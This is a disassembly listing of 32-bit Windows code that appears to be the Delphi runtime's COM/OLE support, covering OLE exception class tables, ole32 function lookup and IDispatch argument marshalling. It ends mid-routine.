; Attributes: bp-based frame


sub_40015C34	proc near		; DATA XREF: .text:400183B8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40015CFD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F308
		jnz	loc_40015CEF
		mov	eax, ds:dword_4001F360
		call	sub_40003CE8
		mov	eax, dword_4001AD40
		call	sub_40003CE8
		mov	eax, dword_4001AD3C
		call	sub_40003CE8
		call	sub_40015794
		mov	eax, dword_4001AD44
		call	sub_40003CE8
		mov	eax, ds:dword_4001F35C
		call	sub_40003CE8
		mov	eax, ds:dword_4001F350
		call	sub_40003CE8
		mov	eax, ds:dword_4001F354
		call	sub_40003CE8
		mov	eax, ds:dword_4001F358
		call	sub_40003CE8
		mov	eax, ds:dword_4001F304
		push	eax
		call	sub_40006698	; DeleteObject
		push	offset dword_4001F320
		call	sub_40006518	; RtlDeleteCriticalSection
		push	offset dword_4001F338
		call	sub_40006518	; RtlDeleteCriticalSection
		mov	eax, offset dword_4001AAD8
		mov	ecx, 34h
		mov	edx, ds:off_40013198
		call	sub_40005314
		mov	eax, offset dword_4001AC78
		mov	ecx, 12h
		mov	edx, ds:off_40013198
		call	sub_40005314


loc_40015CEF:				; CODE XREF: sub_40015C34+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015D04


loc_40015CFC:				; CODE XREF: sub_40015C34+CEj
		retn
; ---------------------------------------------------------------------------


loc_40015CFD:				; DATA XREF: sub_40015C34+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015CFC
; ---------------------------------------------------------------------------


loc_40015D04:				; CODE XREF: sub_40015C34:loc_40015CFCj
					; DATA XREF: sub_40015C34+C3o
		pop	ebp
		retn
sub_40015C34	endp

; ---------------------------------------------------------------------------
		align 4
off_40015D08	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF08o
		dd 0FF93h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B044o
		dd 0FF94h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B07Co
		dd 0FF95h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF64o
		dd 0FF96h
off_40015D28	dd offset dword_40015D74 ; DATA	XREF: .text:40015DA8o
					; sub_400165BC+21r ...
		dd 7 dup(0)
		dd offset dword_40015D74
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40015D74	dd 6C4F4509h, 72724565h, 0C08B726Fh					; .text:40015D48o
off_40015D80	dd offset dword_40015DCC ; DATA	XREF: .text:40015E04o
					; sub_40016050+Ar ...
		dd 7 dup(0)
		dd offset dword_40015DCC
		dd 10h
		dd offset off_40015D28
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40015DCC	dd 6C4F450Ch, 73795365h, 6F727245h, 408D72h					; .text:40015DA0o
off_40015DDC	dd offset dword_40015E28 ; DATA	XREF: sub_40016180+B1r
					; sub_40016280+54r ...
		dd 2 dup(0)
		dd offset dword_40015E28
		dd 4 dup(0)
		dd offset word_40015E42
		dd 18h
		dd offset off_40015D80
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40015E28	dd 0Eh,	20000h						; .text:40015DE8o
		db 2 dup(0)
		dd offset off_40001000
		dw 10h
		db 2 dup(0)
		dd offset off_40001000
		dw 14h
		db 2 dup(0)
word_40015E42	dw 450Dh		; DATA XREF: .text:40015DFCo
dword_40015E44	dd 45656C4Fh, 70656378h, 6E6F6974h, 0FFFFFFFFh,	9, 72617041h
		dd 6E656D74h, 74h, 0FFFFFFFFh, 4, 65657246h, 0
dword_40015E74	dd 0FFFFFFFFh, 4, 68746F42h, 0dword_40015E84	dd 0FFFFFFFFh, 7, 7475654Eh, 6C6172h
; =============== S U B	R O U T	I N E =======================================



sub_40015E94	proc near		; CODE XREF: sub_40015FB8+35p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		mov	edx, esi
		call	sub_400048D8
		mov	eax, [ebx]
		call	sub_40008028
		mov	esi, eax
		jmp	short loc_40015EC9
; ---------------------------------------------------------------------------


loc_40015EAE:				; CODE XREF: sub_40015E94+45j
					; sub_40015E94+49j
		mov	eax, [ebx]
		call	sub_40004D48
		mov	edx, esi
		sub	edx, eax
		mov	eax, ebx
		call	sub_40004F74
		mov	eax, [ebx]
		call	sub_40008028
		mov	esi, eax


loc_40015EC9:				; CODE XREF: sub_40015E94+18j
		mov	eax, [ebx]
		call	sub_40004B44
		test	eax, eax
		jle	short loc_40015EDF
		movzx	eax, byte ptr [esi]
		sub	al, 21h
		jb	short loc_40015EAE
		sub	al, 0Dh
		jz	short loc_40015EAE


loc_40015EDF:				; CODE XREF: sub_40015E94+3Ej
		pop	esi
		pop	ebx
		retn
sub_40015E94	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015EE4	proc near		; CODE XREF: sub_40015FB8+41p
					; sub_40016050+Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		test	dl, dl
		jz	short loc_40015F01
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_40015F01:				; CODE XREF: sub_40015EE4+13j
		mov	edi, ecx
		mov	[ebp+var_5], dl
		mov	ebx, eax
		mov	esi, [ebp+arg_4]
		xor	eax, eax
		push	ebp
		push	offset loc_40015F8E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		mov	edx, edi
		call	sub_4000491C
		cmp	[ebp+var_4], 0
		jnz	short loc_40015F5D
		lea	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_4000A81C
		cmp	[ebp+var_4], 0
		jnz	short loc_40015F5D
		push	0
		lea	edx, [ebp+var_C]
		mov	eax, off_4001AF08
		call	sub_400062F0
		mov	edx, [ebp+var_C]
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], 0
		lea	ecx, [ebp+var_14]
		lea	eax, [ebp+var_4]
		call	sub_400086E0


loc_40015F5D:				; CODE XREF: sub_40015EE4+43j
					; sub_40015EE4+53j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	eax, ebx
		call	sub_4000B1BC
		mov	[ebx+0Ch], esi
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015F95


loc_40015F7D:				; CODE XREF: sub_40015EE4+AFj
		lea	eax, [ebp+var_C]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40015F8E:				; DATA XREF: sub_40015EE4+2Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015F7D
; ---------------------------------------------------------------------------


loc_40015F95:				; CODE XREF: sub_40015EE4+A9j
					; DATA XREF: sub_40015EE4+94o
		mov	eax, ebx
		cmp	[ebp+var_5], 0
		jz	short loc_40015FAC
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_40015FAC:				; CODE XREF: sub_40015EE4+B7j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40015EE4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015FB8	proc near		; CODE XREF: sub_40016180+B6p
					; sub_40016784+62p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_40015FCC
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_40015FCC:				; CODE XREF: sub_40015FB8+Aj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4001602A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		lea	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_40015E94
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	eax, edi
		call	sub_40015EE4
		lea	eax, [edi+10h]
		mov	edx, [ebp+arg_8]
		call	sub_400048D8
		lea	eax, [edi+14h]
		mov	edx, [ebp+arg_4]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016031


loc_40016021:				; CODE XREF: sub_40015FB8+77j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4001602A:				; DATA XREF: sub_40015FB8+1Do
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40016021
; ---------------------------------------------------------------------------


loc_40016031:				; CODE XREF: sub_40015FB8+71j
					; DATA XREF: sub_40015FB8+64o
		mov	eax, edi
		test	bl, bl
		jz	short loc_40016046
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_40016046:				; CODE XREF: sub_40015FB8+7Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_40015FB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40016050	proc near		; CODE XREF: sub_4001606C+7p
		push	ebx
		mov	ebx, eax
		push	ebx
		push	0
		xor	ecx, ecx
		mov	dl, 1
		mov	eax, ds:off_40015D80
		call	sub_40015EE4
		call	sub_400042E4
		pop	ebx
		retn
sub_40016050	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001606C	proc near		; CODE XREF: sub_400165F0:loc_400166BCp
		test	eax, 80000000h
		jz	short locret_40016078
		call	sub_40016050

locret_40016078:			; CODE XREF: sub_4001606C+5j
		retn
sub_4001606C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001607C	proc near		; CODE XREF: .itext:400193A1p
		push	ebx
		push	offset dword_400160F0
		call	sub_400065A0	; GetModuleHandleA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_400160ED
		push	offset aCocreateinstan ; "CoCreateInstanceEx"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001AD88,	eax
		push	offset aCoinitializeex ; "CoInitializeEx"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001AD8C,	eax
		push	offset aCoaddrefserver ; "CoAddRefServerProcess"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001AD90,	eax
		push	offset aCoreleaseserve ; "CoReleaseServerProcess"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001AD94,	eax
		push	offset aCoresumeclasso ; "CoResumeClassObjects"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001AD98,	eax
		push	offset aCosuspendclass ; "CoSuspendClassObjects"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001AD9C,	eax


loc_400160ED:				; CODE XREF: sub_4001607C+Fj
		pop	ebx
		retn
sub_4001607C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_400160F0	dd 33656C6Fh, 6C642E32h, 6ChaCocreateinstan	db 'CoCreateInstanceEx',0 ; DATA XREF: sub_4001607C+11o
		align 10h
aCoinitializeex	db 'CoInitializeEx',0   ; DATA XREF: sub_4001607C+21o
		align 10h
aCoaddrefserver	db 'CoAddRefServerProcess',0 ; DATA XREF: sub_4001607C+31o
		align 4
aCoreleaseserve	db 'CoReleaseServerProcess',0 ; DATA XREF: sub_4001607C+41o
		align 10h
aCoresumeclasso	db 'CoResumeClassObjects',0 ; DATA XREF: sub_4001607C+51o
		align 4
aCosuspendclass	db 'CoSuspendClassObjects',0 ; DATA XREF: sub_4001607C+61o
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016180	proc near		; DATA XREF: .itext:400193BEo
					; .bss:off_4001C020o

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 40016277 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40016270
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_4]
		call	sub_40006204
		push	eax
		push	0
		call	sub_40006B08
		test	eax, eax
		jnz	short loc_400161FD
		lea	eax, [ebp+var_8]
		call	sub_40005008
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+10h]
		lea	eax, [ebp+var_C]
		call	sub_40005008
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+14h]
		lea	eax, [ebp+var_10]
		call	sub_40005008
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+18h]
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+1Ch]


loc_400161FD:				; CODE XREF: sub_40016180+38j
		push	esi
		push	ebx
		lea	eax, [ebp+var_18]
		mov	edx, [ebp+var_8]
		call	sub_40004B0C
		mov	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_1C]
		mov	edx, [ebp+var_10]
		call	sub_40004B0C
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_C]
		call	sub_40004B0C
		mov	ecx, [ebp+var_20]
		mov	dl, 1
		mov	eax, ds:off_40015DDC
		call	sub_40015FB8
		jmp	sub_400042E4
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016277


loc_4001624D:				; CODE XREF: .text:40016275j
		lea	eax, [ebp+var_20]
		mov	edx, 3
		call	sub_400048A8
		lea	eax, [ebp+var_10]
		mov	edx, 3
		call	sub_40005020
		lea	eax, [ebp+var_4]
		call	sub_40006204
		retn
; ---------------------------------------------------------------------------


loc_40016270:				; DATA XREF: sub_40016180+16o
		jmp	loc_40004204
sub_40016180	endp

; ---------------------------------------------------------------------------
		jmp	short loc_4001624D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40016180


loc_40016277:				; CODE XREF: sub_40016180+EFj
					; DATA XREF: sub_40016180+C8o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40016180
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016280	proc near		; CODE XREF: sub_400166E8+8Fp

var_650		= dword	ptr -650h
var_250		= dword	ptr -250h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 40004204 SIZE 00000080 BYTES
; FUNCTION CHUNK AT 400042A4 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF9B0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], ecx
		mov	esi, edx
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_20]
		mov	edx, ds:off_40006ABC
		call	sub_40005204
		xor	eax, eax
		push	ebp
		push	offset loc_400165AB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		mov	[ebp+var_30], eax
		xor	ecx, ecx
		push	ebp
		push	offset loc_40016588
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		movzx	edi, byte ptr [esi+1]
		cmp	edi, 40h
		jle	short loc_400162E3
		mov	ecx, off_4001AF64
		mov	dl, 1
		mov	eax, ds:off_40015DDC
		call	sub_4000B0EC
		call	sub_400042E4


loc_400162E3:				; CODE XREF: sub_40016280+4Aj
		test	edi, edi
		jz	loc_400164AC
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_34], eax
		mov	eax, edi
		add	eax, eax
		lea	eax, [ebp+eax*8+var_650]
		mov	[ebp+var_38], eax
		xor	ebx, ebx


loc_40016301:				; CODE XREF: sub_40016280+226j
		sub	[ebp+var_38], 10h
		movzx	eax, byte ptr [esi+ebx+3]
		mov	edx, eax
		and	dl, 7Fh
		movzx	edx, dl
		mov	[ebp+var_2C], edx
		and	al, 80h
		cmp	[ebp+var_2C], 0Ah
		jnz	short loc_40016335
		mov	eax, [ebp+var_38]
		mov	dword ptr [eax], 0Ah
		mov	eax, [ebp+var_38]
		mov	dword ptr [eax+8], 80020004h
		jmp	loc_400164A3
; ---------------------------------------------------------------------------


loc_40016335:				; CODE XREF: sub_40016280+9Bj
		cmp	[ebp+var_2C], 48h
		jnz	short loc_400163AF
		mov	edx, [ebp+var_30]
		lea	edx, [ebp+edx*8+var_250]
		mov	[ebp+var_3C], edx
		test	al, al
		jz	short loc_4001637C
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	eax, [eax]
		call	sub_40005674
		mov	edx, [ebp+var_3C]
		mov	[edx], eax
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	edx, [ebp+var_3C]
		mov	[edx+4], eax
		mov	eax, [ebp+var_38]
		mov	dword ptr [eax], 4008h
		mov	eax, [ebp+var_3C]
		mov	edx, [ebp+var_38]
		mov	[edx+8], eax
		jmp	short loc_400163A7
; ---------------------------------------------------------------------------


loc_4001637C:				; CODE XREF: sub_40016280+CAj
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		call	sub_40005674
		mov	edx, [ebp+var_3C]
		mov	[edx], eax
		mov	eax, [ebp+var_3C]
		xor	edx, edx
		mov	[eax+4], edx
		mov	eax, [ebp+var_38]
		mov	dword ptr [eax], 8
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	edx, [ebp+var_38]
		mov	[edx+8], eax


loc_400163A7:				; CODE XREF: sub_40016280+FAj
		inc	[ebp+var_30]
		jmp	loc_4001649F
; ---------------------------------------------------------------------------


loc_400163AF:				; CODE XREF: sub_40016280+B9j
		test	al, al
		jz	short loc_400163F8
		cmp	[ebp+var_2C], 0Ch
		jnz	short loc_400163DB
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		cmp	word ptr [eax],	100h
		jnz	short loc_400163DB
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	edx, eax
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	ecx, 8
		call	sub_4000E9CC


loc_400163DB:				; CODE XREF: sub_40016280+137j
					; sub_40016280+143j
		mov	eax, [ebp+var_2C]
		or	eax, 4000h
		mov	edx, [ebp+var_38]
		mov	[edx], eax
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	edx, [ebp+var_38]
		mov	[edx+8], eax
		jmp	loc_4001649F
; ---------------------------------------------------------------------------


loc_400163F8:				; CODE XREF: sub_40016280+131j
		cmp	[ebp+var_2C], 0Ch
		jnz	short loc_40016471
		mov	eax, [ebp+var_34]
		cmp	word ptr [eax],	100h
		jnz	short loc_40016446
		mov	eax, [ebp+var_30]
		lea	eax, [ebp+eax*8+var_250]
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_34]
		mov	eax, [eax+8]
		call	sub_40005674
		mov	edx, [ebp+var_40]
		mov	[edx], eax
		mov	eax, [ebp+var_40]
		xor	edx, edx
		mov	[eax+4], edx
		mov	eax, [ebp+var_38]
		mov	dword ptr [eax], 8
		mov	eax, [ebp+var_40]
		mov	eax, [eax]
		mov	edx, [ebp+var_38]
		mov	[edx+8], eax
		inc	[ebp+var_30]
		jmp	short loc_4001649F
; ---------------------------------------------------------------------------


loc_40016446:				; CODE XREF: sub_40016280+186j
		mov	eax, [ebp+var_34]
		mov	edx, [eax]
		mov	ecx, [ebp+var_38]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	ecx, [ebp+var_38]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	ecx, [ebp+var_38]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	edx, [ebp+var_38]
		mov	[edx+0Ch], eax
		add	[ebp+var_34], 0Ch
		jmp	short loc_4001649F
; ---------------------------------------------------------------------------


loc_40016471:				; CODE XREF: sub_40016280+17Cj
		mov	eax, [ebp+var_38]
		mov	edx, [ebp+var_2C]
		mov	[eax], edx
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	edx, [ebp+var_38]
		mov	[edx+8], eax
		cmp	[ebp+var_2C], 5
		jl	short loc_4001649F
		cmp	[ebp+var_2C], 7
		jg	short loc_4001649F
		add	[ebp+var_34], 4
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	edx, [ebp+var_38]
		mov	[edx+0Ch], eax


loc_4001649F:				; CODE XREF: sub_40016280+12Aj
					; sub_40016280+173j ...
		add	[ebp+var_34], 4


loc_400164A3:				; CODE XREF: sub_40016280+B0j
		inc	ebx
		cmp	edi, ebx
		jnz	loc_40016301


loc_400164AC:				; CODE XREF: sub_40016280+65j
		lea	eax, [ebp+var_650]
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_28]
		add	eax, 4
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], edi
		movzx	eax, byte ptr [esi+2]
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_28]
		mov	edx, [eax]
		movzx	eax, byte ptr [esi]
		cmp	eax, 4
		jnz	short loc_400164FD
		mov	ecx, [ebp+var_650]
		and	ecx, 0FFFh
		cmp	ecx, 9
		jnz	short loc_400164EB
		mov	eax, 8


loc_400164EB:				; CODE XREF: sub_40016280+264j
		mov	ecx, [ebp+var_28]
		mov	dword ptr [ecx], 0FFFFFFFDh
		sub	[ebp+var_4C], 4
		inc	[ebp+var_44]
		jmp	short loc_40016511
; ---------------------------------------------------------------------------


loc_400164FD:				; CODE XREF: sub_40016280+253j
		cmp	eax, 1
		jnz	short loc_40016511
		test	edi, edi
		jnz	short loc_40016511
		cmp	[ebp+arg_0], 0
		jz	short loc_40016511
		mov	eax, 3


loc_40016511:				; CODE XREF: sub_40016280+27Bj
					; sub_40016280+280j ...
		push	0
		lea	ecx, [ebp+var_20]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	ecx, [ebp+var_50]
		push	ecx
		push	eax
		push	0
		mov	eax, off_4001AFA8
		push	eax
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+18h]
		test	eax, eax
		jz	short loc_4001653E
		lea	edx, [ebp+var_20]
		call	sub_40016858


loc_4001653E:				; CODE XREF: sub_40016280+2B4j
		mov	ebx, [ebp+var_30]
		test	ebx, ebx
		jz	short loc_40016561


loc_40016545:				; CODE XREF: sub_40016280+2DFj
		dec	ebx
		lea	esi, [ebp+ebx*8+var_250]
		mov	edi, [esi+4]
		test	edi, edi
		jz	short loc_4001655D
		mov	edx, edi
		mov	eax, [esi]
		call	sub_40005650


loc_4001655D:				; CODE XREF: sub_40016280+2D2j
		test	ebx, ebx
		jnz	short loc_40016545


loc_40016561:				; CODE XREF: sub_40016280+2C3j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4001658F


loc_4001656E:				; CODE XREF: sub_40016280+30Dj
		mov	ebx, [ebp+var_30]
		test	ebx, ebx
		jz	short locret_40016587


loc_40016575:				; CODE XREF: sub_40016280+305j
		dec	ebx
		mov	eax, [ebp+ebx*8+var_250]
		push	eax
		call	sub_40006B00
		test	ebx, ebx
		jnz	short loc_40016575

locret_40016587:			; CODE XREF: sub_40016280+2F3j
		retn
; ---------------------------------------------------------------------------


loc_40016588:				; DATA XREF: sub_40016280+38o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001656E
; ---------------------------------------------------------------------------


loc_4001658F:				; DATA XREF: sub_40016280+2E9o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400165B2


loc_4001659C:				; CODE XREF: sub_40016280+330j
		lea	eax, [ebp+var_20]
		mov	edx, ds:off_40006ABC
		call	sub_400052C8
		retn
; ---------------------------------------------------------------------------


loc_400165AB:				; DATA XREF: sub_40016280+25o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001659C
; ---------------------------------------------------------------------------


loc_400165B2:				; CODE XREF: sub_40016280+32Aj
					; DATA XREF: sub_40016280+317o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40016280	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400165BC	proc near		; CODE XREF: sub_400165F0+C4p

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 6
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		mov	ecx, off_4001B044
		mov	dl, 1
		mov	eax, ds:off_40015D28
		call	sub_4000B128
		call	sub_400042E4
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_400165BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400165F0	proc near		; CODE XREF: sub_400166E8+6Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], edx
		mov	[ebp+var_1C], eax
		mov	ebx, [ebp+var_4]
		xor	edi, edi
		mov	[ebp+var_8], esp
		mov	eax, [ebp+var_C]
		inc	eax
		shl	eax, 2
		sub	esp, eax
		lea	eax, [ebp+var_10]
		mov	[eax], esp


loc_40016618:				; CODE XREF: sub_400165F0+99j
		mov	eax, ebx
		call	sub_4000815C
		mov	esi, eax
		push	0
		push	0
		push	esi
		push	ebx
		push	0
		push	0
		call	sub_40006610	; MultiByteToWideChar
		inc	eax
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		add	eax, eax
		add	eax, 3
		and	eax, 0FFFFFFFCh
		sub	esp, eax
		lea	eax, [ebp+var_18]
		mov	[eax], esp
		test	edi, edi
		jnz	short loc_40016654
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_18]
		mov	[eax], edx
		jmp	short loc_40016662
; ---------------------------------------------------------------------------


loc_40016654:				; CODE XREF: sub_400165F0+58j
		mov	eax, [ebp+var_C]
		sub	eax, edi
		mov	edx, [ebp+var_10]
		mov	ecx, [ebp+var_18]
		mov	[edx+eax*4], ecx


loc_40016662:				; CODE XREF: sub_400165F0+62j
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_18]
		push	eax
		push	esi
		push	ebx
		push	0
		push	0
		call	sub_40006610	; MultiByteToWideChar
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	word ptr [eax+edx*2-2],	0
		inc	esi
		add	ebx, esi
		inc	edi
		cmp	edi, [ebp+var_C]
		jnz	short loc_40016618
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_400065C8	; GetThreadLocale
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, off_4001AFA8
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+14h]
		cmp	eax, 80020006h
		jnz	short loc_400166BC
		push	ebp
